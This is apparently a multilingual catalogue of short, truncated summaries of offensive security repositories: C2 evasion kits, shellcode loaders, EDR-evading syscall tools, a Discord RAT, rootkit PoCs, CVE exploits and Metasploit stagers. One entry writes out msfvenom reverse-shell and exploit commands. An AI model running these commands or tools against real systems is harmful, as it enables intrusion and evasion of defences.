CrystalSliver

crystal-kit-sliver Kit d'évasion Crystal Palace porté vers Sliver C2. Il s'agit du premier port public du Crystal-Kit de rasta-mouse Cobalt Strike vers Sliver. Il suit le même schéma cross-C2 éprouvé par Crystal-Kit-Xenon Mythic. Licence : MIT — Copyright c 2026 Simone Licitra Cible : Windows x64...

NovaHypervisor

NovaHypervisor Description NovaHypervisor est un hyperviseur défensif basé sur l'hôte, conçu pour l'architecture Intel x64. Ce projet a pour objectif de protéger contre les attaques au niveau du noyau que ce soit via Bring Your Own Vulnerable Driver BYOVD ou d'autres moyens en sécurisant les...

lacuna-rs

lacuna-rs Usurpation de pile d'appels par ghost-frame + appels système indirects à l'exécution pour Windows x64 — porté en Rust. Porté depuis LACUNA Chain lacunachain.c par Mohamed Alzhrani 0xmaz. lacuna-rs est une crate Rust réutilisable qui fournit les mêmes primitives que la TTP C originale,...

micr0_shell

micr0 shell Micr0shell — это легкий и эффективный Python-скрипт для динамической генерации позиционно-независимого кода PIC без нулевых байт для Windows X64 reverse shell shellcode. В зависимости от выбранных параметров, сгенерированный шеллкод может быть на 27 байт меньше, чем аналогичный шеллко...

nimcrypt

nimcrypt Un chargeur de shellcode Sliver écrit en Nim ciblant Windows x64. Deux variantes couvrant les deux situations de livraison les plus courantes. Testé contre Windows Defender avec la protection en temps réel activée. Variantes stager Lit un blob de shellcode chiffré depuis le disque, le...

CVE-2023-38831

CVE-2023-38831 CVE-2023-38831 est une RCE dans WinRAR 6.23 Référence : https://github.com/z3r0sw0rd/CVE-2023-38831-PoC Analyse du TAG de Google : https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/ Téléchargez la dernière version vulnérable : 6.22...

VectorKernel

VectorKernel PoCs pour la recherche ou l'éducation sur les techniques de rootkit en mode noyau. Actuellement axé sur Windows OS. Tous les modules ne supportent que les OS 64 bits de la famille x64. Environnement Tous les modules sont testés sous Windows 11 x64. Pour tester les pilotes, les option...

swapgs-attack-poc

PoC de l'attaque SWAPGS CVE-2019-1125 Ce dépôt contient les sources du PoC de l'attaque SWAPGS présenté publiquement au Black Hat USA 2019. Contenu leakgsbkva - variante 1 recherche des valeurs aléatoires dans la mémoire du noyau ; limitée à l'en-tête de l'image du noyau PE leakgsbkvat - variante...

AsmLdr

AsmLdr: динамический загрузчик шеллкода для Windows x64 Обзор AsmLdr — это продвинутый загрузчик шеллкода, реализованный на языке ассемблера x64 и предназначенный для сред Windows x64. Его основная цель — выполнение зашифрованных полезных нагрузок при минимизации обнаружения современными...

DiscordRAT

DiscordRAT V2 Outil d'administration à distance Discord entièrement écrit en Python3. Il s'agit d'un RAT contrôlé via Discord avec plus de 20 modules de post-exploitation. Disclaimer: Cet outil est à usage éducatif uniquement, l'auteur ne pourra être tenu responsable de toute utilisation abusive ...

stealth_call

Qu'est-ce que c'est ? Bibliothèque header-only pour Windows x64 qui vous permet d'invoquer n'importe quel syscall NT sans toucher aux imports ntdll, sans laisser de chaînes de caractères dans votre binaire, et sans les signaux d'alerte habituels qui font perdre la tête aux EDR. Pas de CRT. Pas de...

SILVERPICK

SILVERPICK ВЕРСИЯ v1.1 ОПИСАНИЕ Проект SILVERPICK — это Windows User-Mode Shellcode Development Framework WUMSDF, единственная цель которого — дать разработчикам специализированных средств простой способ создавать Position Independent Code PIC-заготовки для Windows x64 на C/C++, снижая тем самым...

cve-2022-3218

Étape 1 — Créer un payload RÉEL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Étape 2 — Servir le payload via HTTP Dans le même répertoire : python3 -m http.server 80 Étape 3 — Ajuster l'exploit Exécute ainsi : python3 CVE-2022-3218.py 172.20.7.1...

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass Ma version - Win10 x64 CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass...

CVE-2020-1020-Exploit

CVE-2020-1020 Exploit de dépassement de pool de polices Type1 pour élévation de privilèges OS supportés : Windows 7,8,8.1 x64...

PINKPANTHER

PINKPANTHER Краткое описание Windows x64 собственноручно написанный шеллкод режима ядра для замены основного токена доступа выполняющегося процесса на токен процесса SYSTEM для повышения привилегий EoP. Поддерживаемые версии ОС Windows 7/Windows Server 2008 R2 Build 7601 Windows 8/Windows Server...

cve-2026-0828

CVE-2026-0828 — PoC BYOVD di Safetica ProcessMonitorDriver.sys Il driver kernel DLP di Safetica ProcessMonitorDriver.sys espone un IOCTL non autenticato che consente a qualsiasi chiamante in modalità utente di terminare processi arbitrari tramite ZwTerminateProcess nel contesto del kernel,...

stealth_call

Cos'è? Libreria header-only per Windows x64 che consente di invocare qualsiasi syscall NT senza toccare gli import di ntdll, senza lasciare stringhe nel binario e senza i soliti campanelli d'allarme che fanno impazzire gli EDR. Niente CRT. Niente STL. Niente IAT. L'intero progetto compila a circa...

FTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager

Fetch and execute an x64 payload from an FTP server. Spawn a piped command shell Windows x64 staged. Listen for a pipe connection Windows x64 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module...

FTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)

Fetch and execute an x64 payload from an FTP server. Spawn a piped command shell Windows x64 staged. Connect back to the attacker with UUID Support Windows x64 Module Options This module requires Metasploit: https://metasploit.com/download Current source:...